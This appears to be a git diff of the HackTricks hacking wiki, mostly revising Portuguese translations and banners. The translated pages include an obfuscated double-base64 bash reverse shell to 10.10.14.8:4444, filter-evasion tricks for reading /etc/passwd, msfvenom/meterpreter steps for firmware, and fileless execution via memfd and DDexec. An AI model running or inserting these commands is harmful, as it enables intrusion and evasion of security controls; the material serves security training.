Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/hardware-physical-access/firmware-analysis/firmware-integrity.md b/hardware-physical-access/firmware-analysis/firmware-integrity.md index c880501f4..63359cfd3 100644 --- a/hardware-physical-access/firmware-analysis/firmware-integrity.md +++ b/hardware-physical-access/firmware-analysis/firmware-integrity.md @@ -1,14 +1,14 @@ {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -40,21 +40,21 @@ O **firmware personalizado e/ou binários compilados podem ser carregados para e Se um shell root já foi obtido através de análise dinâmica, manipulação do bootloader ou testes de segurança de hardware, binários maliciosos pré-compilados, como implantes ou shells reversos, podem ser executados. Ferramentas automatizadas de payload/implante, como o framework Metasploit e 'msfvenom', podem ser aproveitadas usando os seguintes passos: 1. A arquitetura do firmware alvo e a ordem de bytes devem ser identificadas. -2. Msfvenom pode ser usado para especificar o payload alvo, IP do host atacante, número da porta de escuta, tipo de arquivo, arquitetura, plataforma e o arquivo de saída. +2. O msfvenom pode ser usado para especificar o payload alvo, IP do host atacante, número da porta de escuta, tipo de arquivo, arquitetura, plataforma e o arquivo de saída. 3. O payload pode ser transferido para o dispositivo comprometido e garantir que ele tenha permissões de execução. 4. O Metasploit pode ser preparado para lidar com solicitações de entrada iniciando o msfconsole e configurando as configurações de acordo com o payload. -5. O shell reverso meterpreter pode ser executado no dispositivo comprometido. +5. O shell reverso do meterpreter pode ser executado no dispositivo comprometido. {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} @@ -72,5 +72,3 @@ Learn & practice GCP Hacking: {% endhint %} -
-{% endhint %} diff --git a/hardware-physical-access/physical-attacks.md b/hardware-physical-access/physical-attacks.md index 8175e9397..1ee50e5e1 100644 --- a/hardware-physical-access/physical-attacks.md +++ b/hardware-physical-access/physical-attacks.md @@ -6,11 +6,11 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} @@ -73,11 +73,11 @@ Aprenda e pratique Hacking GCP: -Suporte ao HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/interesting-http.md b/interesting-http.md index b7d582350..d89881cdb 100644 --- a/interesting-http.md +++ b/interesting-http.md @@ -1,30 +1,30 @@ {% hint style="success" %} -Aprenda e pratique AWS Hacking: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique GCP Hacking: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -# Cabeçalhos de Referência e Política +# Cabeçalhos e política de referência -Referência é o cabeçalho usado pelos navegadores para indicar qual foi a página anterior visitada. +Referrer é o cabeçalho usado pelos navegadores para indicar qual foi a página anterior visitada. ## Informações sensíveis vazadas -Se em algum momento dentro de uma página da web qualquer informação sensível estiver localizada nos parâmetros de uma solicitação GET, se a página contiver links para fontes externas ou um atacante for capaz de fazer/sugerir (engenharia social) o usuário visitar uma URL controlada pelo atacante. Ele poderia ser capaz de extrair as informações sensíveis dentro da última solicitação GET. +Se em algum momento dentro de uma página da web, qualquer informação sensível estiver localizada nos parâmetros de uma solicitação GET, se a página contiver links para fontes externas ou um atacante conseguir fazer/sugerir (engenharia social) que o usuário visite uma URL controlada pelo atacante. Isso poderia exfiltrar as informações sensíveis dentro da última solicitação GET. ## Mitigação -Você pode fazer o navegador seguir uma **política de Referência** que poderia **evitar** que as informações sensíveis sejam enviadas para outras aplicações web: +Você pode fazer com que o navegador siga uma **Referrer-policy** que poderia **evitar** que as informações sensíveis sejam enviadas para outras aplicações web: ``` Referrer-Policy: no-referrer Referrer-Policy: no-referrer-when-downgrade @@ -35,9 +35,9 @@ Referrer-Policy: strict-origin Referrer-Policy: strict-origin-when-cross-origin Referrer-Policy: unsafe-url ``` -## Contramedida +## Contra-Mitigação -Você pode substituir essa regra usando uma tag meta HTML (o atacante precisa explorar uma injeção HTML): +Você pode substituir esta regra usando uma tag meta HTML (o atacante precisa explorar uma injeção HTML): ```markup @@ -48,16 +48,16 @@ Nunca coloque dados sensíveis dentro de parâmetros GET ou caminhos na URL. {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/linux-hardening/bypass-bash-restrictions/README.md b/linux-hardening/bypass-bash-restrictions/README.md index ed02752c6..adf47f665 100644 --- a/linux-hardening/bypass-bash-restrictions/README.md +++ b/linux-hardening/bypass-bash-restrictions/README.md @@ -1,15 +1,15 @@ -# Bypassar Restrições no Linux +# Bypass Linux Restrictions {% hint style="success" %} -Aprenda e pratique Hacking na AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -18,20 +18,20 @@ Aprenda e pratique Hacking no GCP:
\ -Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions) para construir e **automatizar fluxos de trabalho** facilmente com as ferramentas comunitárias **mais avançadas** do mundo.\ -Tenha Acesso Hoje: +Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\ +Obtenha Acesso Hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %} -## Bypasses Comuns de Limitações +## Bypasses de Limitações Comuns -### Shell Reverso +### Reverse Shell ```bash # Double-Base64 is a great way to avoid bad characters like +, works 99% of the time echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)|ba''se''6''4 -''d|ba''se''64 -''d|b''a''s''h" | sed 's/ /${IFS}/g' # echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba''se''6''4${IFS}-''d|ba''se''64${IFS}-''d|b''a''s''h ``` -### Shell reverso curto +### Shell Rev curta ```bash #Trick from Dikline #Get a rev shell with @@ -39,7 +39,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)| #Then get the out of the rev shell executing inside of it: exec >&0 ``` -### Bypassar Caminhos e palavras proibidas +### Bypass Paths e palavras proibidas ```bash # Question mark binary substitution /usr/bin/p?ng # /usr/bin/ping @@ -99,7 +99,7 @@ mi # This will throw an error whoa # This will throw an error !-1!-2 # This will execute whoami ``` -### Bypass espaços proibidos +### Bypass forbidden spaces ```bash # {form} {cat,lol.txt} # cat lol.txt @@ -127,17 +127,15 @@ $u $u # This will be saved in the history and can be used as a space, please not uname!-1\-a # This equals to uname -a ``` ### Bypass backslash and slash - -### Bypassar barra invertida e barra ```bash cat ${HOME:0:1}etc${HOME:0:1}passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd ``` -### Bypass de tubos +### Bypass pipes ```bash bash<<<$(base64 -d<<
\ -Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\ +Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** da comunidade **mais avançadas** do mundo.\ Acesse hoje: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %} {% hint style="success" %} -Aprenda e pratique Hacking na AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md index 880281534..3cfc28c48 100644 --- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md +++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md @@ -59,13 +59,13 @@ No entanto, isso não é suficiente para executar seu backdoor binário ou outra ## Bypasses de Memória -Se você quiser executar um binário, mas o sistema de arquivos não permitir isso, a melhor maneira de fazê-lo é **executá-lo da memória**, já que as **proteções não se aplicam lá**. +Se você quiser executar um binário, mas o sistema de arquivos não está permitindo isso, a melhor maneira de fazê-lo é **executá-lo da memória**, já que as **proteções não se aplicam lá**. ### Bypass de FD + syscall exec Se você tiver alguns poderosos motores de script dentro da máquina, como **Python**, **Perl** ou **Ruby**, você poderia baixar o binário para executar da memória, armazená-lo em um descritor de arquivo de memória (`create_memfd` syscall), que não será protegido por essas proteções e então chamar uma **syscall `exec`** indicando o **fd como o arquivo a ser executado**. -Para isso, você pode facilmente usar o projeto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Você pode passar um binário e ele gerará um script na linguagem indicada com o **binário comprimido e codificado em b64** com as instruções para **decodificá-lo e descomprimí-lo** em um **fd** criado chamando a syscall `create_memfd` e uma chamada para a syscall **exec** para executá-lo. +Para isso, você pode facilmente usar o projeto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Você pode passar um binário e ele gerará um script na linguagem indicada com o **binário comprimido e codificado em b64** com as instruções para **decodificá-lo e descomprimí-lo** em um **fd** criado chamando a syscall `create_memfd` e uma chamada para a **syscall exec** para executá-lo. {% hint style="warning" %} Isso não funciona em outras linguagens de script como PHP ou Node porque elas não têm nenhuma **maneira padrão de chamar syscalls brutas** de um script, então não é possível chamar `create_memfd` para criar o **fd de memória** para armazenar o binário. @@ -147,7 +147,7 @@ Aprenda e pratique Hacking GCP: Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
diff --git a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec.md b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec.md index dc8382246..45fb1b017 100644 --- a/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec.md +++ b/linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/ddexec.md @@ -1,31 +1,31 @@ # DDexec / EverythingExec {% hint style="success" %} -Aprenda e pratique Hacking na AWS: [**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Suporte ao HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Contexto -No Linux, para executar um programa, ele deve existir como um arquivo, deve ser acessível de alguma forma através da hierarquia do sistema de arquivos (é assim que `execve()` funciona). Este arquivo pode residir no disco ou na memória (tmpfs, memfd), mas você precisa de um caminho de arquivo. Isso tornou muito fácil controlar o que é executado em um sistema Linux, facilita a detecção de ameaças e ferramentas de atacantes ou impedi-los de tentar executar qualquer coisa deles (_por exemplo_, não permitindo que usuários não privilegiados coloquem arquivos executáveis em qualquer lugar). +No Linux, para executar um programa, ele deve existir como um arquivo, deve ser acessível de alguma forma através da hierarquia do sistema de arquivos (é assim que `execve()` funciona). Este arquivo pode residir no disco ou na RAM (tmpfs, memfd), mas você precisa de um caminho de arquivo. Isso facilitou muito o controle do que é executado em um sistema Linux, tornando fácil detectar ameaças e ferramentas do atacante ou impedir que eles tentem executar qualquer coisa deles (_e. g._ não permitindo que usuários não privilegiados coloquem arquivos executáveis em qualquer lugar). -Mas essa técnica está aqui para mudar tudo isso. Se você não pode iniciar o processo que deseja... **então você sequestra um que já existe**. +Mas esta técnica está aqui para mudar tudo isso. Se você não pode iniciar o processo que deseja... **então você sequestra um já existente**. -Essa técnica permite que você **bypass técnicas comuns de proteção, como somente leitura, noexec, lista branca de nomes de arquivos, lista branca de hash...** +Esta técnica permite que você **bypasse técnicas de proteção comuns, como somente leitura, noexec, lista branca de nomes de arquivos, lista branca de hashes...** ## Dependências -O script final depende das seguintes ferramentas para funcionar, elas precisam estar acessíveis no sistema que você está atacando (por padrão, você as encontrará em todos os lugares): +O script final depende das seguintes ferramentas para funcionar, elas precisam estar acessíveis no sistema que você está atacando (por padrão, você encontrará todas elas em todos os lugares): ``` dd bash | zsh | ash (busybox) @@ -41,53 +41,53 @@ base64 ``` ## A técnica -Se você for capaz de modificar arbitrariamente a memória de um processo, então você pode assumi-lo. Isso pode ser usado para se apropriar de um processo já existente e substituí-lo por outro programa. Podemos alcançar isso usando a chamada de sistema `ptrace()` (que requer que você tenha a capacidade de executar chamadas de sistema ou ter o gdb disponível no sistema) ou, de forma mais interessante, escrevendo em `/proc/$pid/mem`. +Se você for capaz de modificar arbitrariamente a memória de um processo, então você pode assumir o controle dele. Isso pode ser usado para sequestrar um processo já existente e substituí-lo por outro programa. Podemos alcançar isso usando a chamada de sistema `ptrace()` (que requer que você tenha a capacidade de executar chamadas de sistema ou ter o gdb disponível no sistema) ou, mais interessantemente, escrevendo em `/proc/$pid/mem`. -O arquivo `/proc/$pid/mem` é um mapeamento um para um de todo o espaço de endereço de um processo (por exemplo, de `0x0000000000000000` a `0x7ffffffffffff000` em x86-64). Isso significa que ler ou escrever neste arquivo em um deslocamento `x` é o mesmo que ler ou modificar o conteúdo no endereço virtual `x`. +O arquivo `/proc/$pid/mem` é um mapeamento um-para-um de todo o espaço de endereços de um processo (_e. g._ de `0x0000000000000000` a `0x7ffffffffffff000` em x86-64). Isso significa que ler ou escrever neste arquivo em um deslocamento `x` é o mesmo que ler ou modificar o conteúdo no endereço virtual `x`. -Agora, temos quatro problemas básicos para enfrentar: +Agora, temos quatro problemas básicos a enfrentar: -- Em geral, apenas o root e o proprietário do programa do arquivo podem modificá-lo. -- ASLR. -- Se tentarmos ler ou escrever em um endereço não mapeado no espaço de endereço do programa, receberemos um erro de E/S. +* Em geral, apenas o root e o proprietário do programa do arquivo podem modificá-lo. +* ASLR. +* Se tentarmos ler ou escrever em um endereço não mapeado no espaço de endereços do programa, receberemos um erro de I/O. Esses problemas têm soluções que, embora não sejam perfeitas, são boas: -- A maioria dos interpretadores de shell permitem a criação de descritores de arquivo que serão herdados pelos processos filhos. Podemos criar um descritor de arquivo apontando para o arquivo `mem` do shell com permissões de escrita... então os processos filhos que usarem esse descritor de arquivo poderão modificar a memória do shell. -- ASLR nem é um problema, podemos verificar o arquivo `maps` do shell ou qualquer outro do procfs para obter informações sobre o espaço de endereço do processo. -- Então precisamos fazer `lseek()` sobre o arquivo. A partir do shell, isso não pode ser feito a menos que usando o infame `dd`. +* A maioria dos interpretadores de shell permite a criação de descritores de arquivo que serão herdados por processos filhos. Podemos criar um fd apontando para o arquivo `mem` do shell com permissões de escrita... então os processos filhos que usam esse fd poderão modificar a memória do shell. +* ASLR não é nem mesmo um problema, podemos verificar o arquivo `maps` do shell ou qualquer outro do procfs para obter informações sobre o espaço de endereços do processo. +* Portanto, precisamos usar `lseek()` no arquivo. A partir do shell, isso não pode ser feito a menos que usando o infame `dd`. ### Em mais detalhes -Os passos são relativamente fáceis e não exigem nenhum tipo de expertise para entendê-los: +Os passos são relativamente fáceis e não requerem nenhum tipo de especialização para entendê-los: -- Analisar o binário que queremos executar e o loader para descobrir quais mapeamentos eles precisam. Em seguida, criar um "código"shell que executará, em termos gerais, as mesmas etapas que o kernel faz em cada chamada para `execve()`: -- Criar os mapeamentos mencionados. -- Ler os binários neles. -- Configurar permissões. -- Finalmente, inicializar a pilha com os argumentos para o programa e colocar o vetor auxiliar (necessário pelo loader). -- Pular para o loader e deixá-lo fazer o resto (carregar bibliotecas necessárias pelo programa). -- Obter do arquivo `syscall` o endereço para o qual o processo retornará após a chamada de sistema que está executando. -- Sobrescrever esse local, que será executável, com nosso código shell (através de `mem` podemos modificar páginas não graváveis). -- Passar o programa que queremos executar para o stdin do processo (será `lido()` por esse código shell). -- Neste ponto, cabe ao loader carregar as bibliotecas necessárias para nosso programa e pular para ele. +* Analise o binário que queremos executar e o carregador para descobrir quais mapeamentos eles precisam. Em seguida, crie um código "shell" que realizará, de forma ampla, os mesmos passos que o kernel faz em cada chamada para `execve()`: +* Crie os mapeamentos mencionados. +* Leia os binários neles. +* Configure as permissões. +* Finalmente, inicialize a pilha com os argumentos para o programa e coloque o vetor auxiliar (necessário pelo carregador). +* Salte para o carregador e deixe-o fazer o resto (carregar bibliotecas necessárias para o programa). +* Obtenha do arquivo `syscall` o endereço para o qual o processo retornará após a chamada de sistema que está executando. +* Sobrescreva aquele lugar, que será executável, com nosso shellcode (através de `mem` podemos modificar páginas não graváveis). +* Passe o programa que queremos executar para a entrada padrão do processo (será `read()` por esse "shell"code). +* Neste ponto, cabe ao carregador carregar as bibliotecas necessárias para nosso programa e saltar para ele. **Confira a 